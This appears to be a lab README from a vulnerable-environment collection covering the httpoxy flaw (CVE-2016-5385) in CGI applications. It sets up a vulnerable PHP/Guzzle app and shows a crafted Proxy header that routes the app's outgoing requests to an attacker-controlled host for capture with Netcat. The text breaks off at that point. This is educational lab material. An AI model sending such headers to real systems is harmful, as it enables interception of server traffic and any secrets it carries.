# CGI Application Environment Variable Injection by HTTPoxy (CVE-2016-5385)
|
||
|
||
[中文版本(Chinese version)](README.zh-cn.md)
|
||
|
||
httpoxy is a set of vulnerabilities that affect application code running in CGI, or CGI-like environments. It comes down to a simple namespace conflict:
|
||
|
||
- RFC 3875 (CGI) puts the HTTP Proxy header from a request into the environment variables as `HTTP_PROXY`
|
||
- `HTTP_PROXY` is a popular environment variable used to configure an outgoing proxy
|
||
|
||
This leads to a remotely exploitable vulnerability. See <https://httpoxy.org> for further principles description.
|
||
|
||
CVE-2016-5385 is one of CVEs that assign for HTTPoxy, here are the full CVEs list:

- CVE-2016-1000111: Python Twisted
|
||
- CVE-2016-1000212: lighttpd
|
||
|
||
## Vulnerable environment
|
||
|
||
Execute following command to start a Web application depending on PHP 5.6.23 and GuzzleHttp 6.2.0.
|
||
|
||
```
|
||
docker compose up -d
|
||
```
|
||
|
||
This [Web page](www/index.php) get its origin IP address at `http://httpbin.org/get`:
|
||
|
||

|
||
|
||
At this moment, hostname IP is equal to original IP, no HTTP proxy.
|
||
|
||
## Exploit
|
||
|
||
Send a request with a crafted HTTP header that contains a available HTTP proxy address: `Proxy: http://*.*.122.65:8888/`:
|
||
|
||

|
||
|
||
It is obvious that the original address in the response has become the IP address of the proxy server.
|
||
|
||
Start a Netcat server at the `*.*.122.65` instead of HTTP proxy, we can capture the original request:
